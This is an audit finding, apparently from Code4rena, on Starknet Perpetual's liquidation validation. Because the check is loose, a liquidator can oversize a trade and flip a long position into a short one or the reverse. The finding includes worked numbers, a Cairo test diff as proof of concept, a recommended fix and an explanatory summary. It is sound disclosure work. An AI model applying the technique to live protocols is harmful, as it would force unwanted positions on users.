Liquidatable long positions can be forced into short positions and vice versa
The liquidation validation only checks that total risk decreases and the TV/TR ratio improves, allowing a liquidator to buy or sell more synthetic assets than the position holds. This can flip a liquidatable long position into a short position (or vice versa) without the owner's consent.
alexxander Follow with __141345__, 0xAlix2 and 2 others
Originally disclosed on Code4rena
Submitted by alexxander, also found by 141345, 0xAlix2, krikolkk, and SBSecurity
Finding description and impact
A position is liquidatable when the total value: TV is lower than the total risk TR. Executing core.liquidate() requires a signed trade order by a liquidator position and another position that meets the liquidatable condition. The outcome for the liquidated position has 2 requirements which can be found in core._validate_liquidated_position() and its subsequent call to value_risk_calculator.liquidated_position_validations().
- The new (after liquidation)
TRof the liquidated position must decrease - The new (after liquidation) ratio of
TV/TRmust be greater or equal to the old (before liquidation) ratio ofTV/TR
One way to satisfy this set of conditions is the liquidator to purchase / sell some of the assets of the liquidatable position
An example with a liquidatable long position:
- price(ETH) = $1500, riskfactor(ETH) = 0.25, collateralbalance = -20000, synthetic_balance(ETH) = 15
- TV (before) = 2500, TR (before) = abs(5625)
- Liquidator purchases 5 ETH from the long position at $1500
- TV (after) = (-20000 + 5*1500) + (15-5) * 1500 == 2500
- TR (after) = 10 * 1500 * 0.25 == abs(3750)
- The position is healthier since
- TR (after) < TR (before): 3750 < 5625
- TV / TR (after) >= TV / TR (before): 2500/3750 >= 2500/5625
However, assuming the same example, the set of conditions can also be satisfied by the Liquidator purchasing 25 ETH from the long position:
- price(ETH) = $1500, riskfactor(ETH) = 0.25, collateralbalance = -20000, synthetic_balance(ETH) = 15
- TV (before) = 2500, TR (before) = abs(5625)
- Liquidator purchases 25 ETH from the long position at $1500
- TV (after) = (-20000 + 25*1500) + (15-25) * 1500 == 2500
- TR (after) = -10 * 1500 * 0.25 == abs(-3750) == 3750
- The position is healthier since
- TR (after) < TR (before): 3750 < 5625
- TV / TR (after) >= TV / TR (before): 2500/3750 >= 2500/5625
- collateralbalance = 17500, syntheticbalance(ETH) = -10
The aftermath of such liquidation is that the liquidated long position has now become a short position without a consent from the liquidated position owner. The same outcome can happen for a liquidated short position becoming a long position after the liquidation. While liquidations are forced upon user’s positions to reduce risk, it must be only within the user’s privilege to determine which market conditions affect their position.
Recommended mitigation steps
Similarly to the functions core.deleverage() and core.reduce_inactive_asset_position(), use core._validate_imposed_reduction_trade() to prevent liquidators purchasing or selling more than the available synthetic balance of the liquidated positions.
Proof of Concept
- Place the modified
test_successful_liquidate()intest_core.cairo - Execute with
scarb test test_successful_liquidate - The test shows how the liquidated position was short (-20) synthetic asset balance and ends up long with (5) synthetic asset balance
#[test]
fn test_successful_liquidate() {
// Setup state, token and user:
let cfg: PerpetualsInitConfig = Default::default();
let token_state = cfg.collateral_cfg.token_cfg.deploy();
let mut state = setup_state_with_active_asset(cfg: @cfg, token_state: @token_state);
let liquidator = Default::default();
init_position(cfg: @cfg, ref :state, user: liquidator);
let liquidated = UserTrait::new(position_id: POSITION_ID_2, key_pair: KEY_PAIR_2());
init_position(cfg: @cfg, ref :state, user: liquidated);
add_synthetic_to_position(
ref :state,
synthetic_id: cfg.synthetic_cfg.synthetic_id,
position_id: liquidated.position_id,
balance: -SYNTHETIC_BALANCE_AMOUNT,
);
+ // @audit Ensure the liquidator is very healthy
+ add_synthetic_to_position(
+ ref :state,
+ synthetic_id: cfg.synthetic_cfg.synthetic_id,
+ position_id: liquidator.position_id,
+ balance: SYNTHETIC_BALANCE_AMOUNT,
+ );
+
// Test params:
let BASE = 10;
+ // @audit the liquidated position is starts short with -20 synthetic balance
+ // @audit the liquidated position will end up with a long position of 5 synthetic balance
+ let BASE_NEW = 25;
let QUOTE = -5;
+ let QUOTE_NEW = -10;
let INSURANCE_FEE = 1;
let FEE = 2;
// Setup parameters:
let expiration = Time::now().add(delta: Time::days(1));
let operator_nonce = state.get_operator_nonce();
let collateral_id = cfg.collateral_cfg.collateral_id;
let synthetic_id = cfg.synthetic_cfg.synthetic_id;
let order_liquidator = Order {
position_id: liquidator.position_id,
salt: liquidator.salt_counter,
base_asset_id: synthetic_id,
- base_amount: -BASE,
+ base_amount: -BASE_NEW,
quote_asset_id: collateral_id,
- quote_amount: -QUOTE,
+ quote_amount: -QUOTE_NEW,
fee_asset_id: collateral_id,
fee_amount: FEE,
expiration,
};
let liquidator_hash = order_liquidator.get_message_hash(liquidator.get_public_key());
let liquidator_signature = liquidator.sign_message(liquidator_hash);
let mut spy = snforge_std::spy_events();
// Test:
cheat_caller_address_once(contract_address: test_address(), caller_address: cfg.operator);
state
.liquidate(
:operator_nonce,
:liquidator_signature,
liquidated_position_id: liquidated.position_id,
liquidator_order: order_liquidator,
- actual_amount_base_liquidated: BASE,
- actual_amount_quote_liquidated: QUOTE,
+ actual_amount_base_liquidated: BASE_NEW,
+ actual_amount_quote_liquidated: QUOTE_NEW,
actual_liquidator_fee: FEE,
liquidated_fee_amount: INSURANCE_FEE,
);
// Catch the event.
let events = spy.get_events().emitted_by(test_address()).events;
assert_liquidate_event_with_expected(
spied_event: events[0],
liquidated_position_id: liquidated.position_id,
liquidator_order_position_id: liquidator.position_id,
liquidator_order_base_asset_id: synthetic_id,
- liquidator_order_base_amount: -BASE,
+ liquidator_order_base_amount: -BASE_NEW,
liquidator_order_quote_asset_id: collateral_id,
- liquidator_order_quote_amount: -QUOTE,
+ liquidator_order_quote_amount: -QUOTE_NEW,
liquidator_order_fee_asset_id: collateral_id,
liquidator_order_fee_amount: FEE,
- actual_amount_base_liquidated: BASE,
- actual_amount_quote_liquidated: QUOTE,
+ actual_amount_base_liquidated: BASE_NEW,
+ actual_amount_quote_liquidated: QUOTE_NEW,
actual_liquidator_fee: FEE,
insurance_fund_fee_asset_id: collateral_id,
insurance_fund_fee_amount: INSURANCE_FEE,
liquidator_order_hash: liquidator_hash,
);
// Check:
let liquidated_position = state
.positions
.get_position_snapshot(position_id: liquidated.position_id);
let liquidator_position = state
.positions
.get_position_snapshot(position_id: liquidator.position_id);
let liquidated_collateral_balance = state
.positions
.get_collateral_provisional_balance(position: liquidated_position);
let liquidated_synthetic_balance = state
.positions
.get_synthetic_balance(position: liquidated_position, :synthetic_id);
assert!(
liquidated_collateral_balance == (COLLATERAL_BALANCE_AMOUNT.into()
- INSURANCE_FEE.into()
- + QUOTE.into()),
+ + QUOTE_NEW.into()),
);
- assert!(liquidated_synthetic_balance == (-SYNTHETIC_BALANCE_AMOUNT + BASE).into());
+ assert!(liquidated_synthetic_balance == (-SYNTHETIC_BALANCE_AMOUNT + BASE_NEW).into());
let liquidator_collateral_balance = state
.positions
.get_collateral_provisional_balance(position: liquidator_position);
let liquidator_synthetic_balance = state
.positions
.get_synthetic_balance(position: liquidator_position, :synthetic_id);
assert!(
liquidator_collateral_balance == (COLLATERAL_BALANCE_AMOUNT.into()
- FEE.into()
- - QUOTE.into()),
+ - QUOTE_NEW.into()),
);
- assert!(liquidator_synthetic_balance == (-BASE).into());
+ assert!(liquidator_synthetic_balance == (SYNTHETIC_BALANCE_AMOUNT-BASE_NEW).into());
let fee_position = state.positions.get_position_snapshot(position_id: FEE_POSITION);
let fee_position_balance = state
.positions
.get_collateral_provisional_balance(position: fee_position);
assert!(fee_position_balance == FEE.into());
let insurance_fund_position = state
.positions
.get_position_snapshot(position_id: INSURANCE_FUND_POSITION);
let insurance_position_balance = state
.positions
.get_collateral_provisional_balance(position: insurance_fund_position);
assert!(insurance_position_balance == INSURANCE_FEE.into());
}
oded (Starknet Perpetual) confirmed and commented:
We will add a check to make sure that liquidations don’t cause long positions to become shorts and vice versa. In most likelihood, an operator will not liquidate users this way even without this check.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the liquidation validation does not limit the size of the liquidator's trade to the available synthetic balance of the liquidated position, so the trade can overshoot and reverse the position's direction.
Impact
A liquidator could force a liquidatable long position to become a short position (or vice versa) without the owner's consent, though the report notes that an operator would likely not do this in practice.
What the attacker needed
A liquidatable position; a liquidator with sufficient balance; operator cooperation (likely)
The fix
The fix should add a check, similar to existing functions, to ensure liquidations do not cause long positions to become shorts and vice versa.
How it was found
- Set up a liquidatable long position with a negative collateral balance and a positive synthetic balance.
- Have a liquidator submit a signed trade order to purchase more synthetic assets than the position holds.
- Call the liquidate function with the oversized trade amounts.
- Observe that the liquidated position's synthetic balance becomes negative, turning it into a short position.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a perpetual futures contract, a position can be 'long' (betting the price will rise) or 'short' (betting it will fall). When a position becomes risky, a liquidator can step in to reduce that risk by trading against it. This report shows that the rules for liquidation are too loose: a liquidator can trade so much that the position flips from long to short, which the owner never agreed to.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.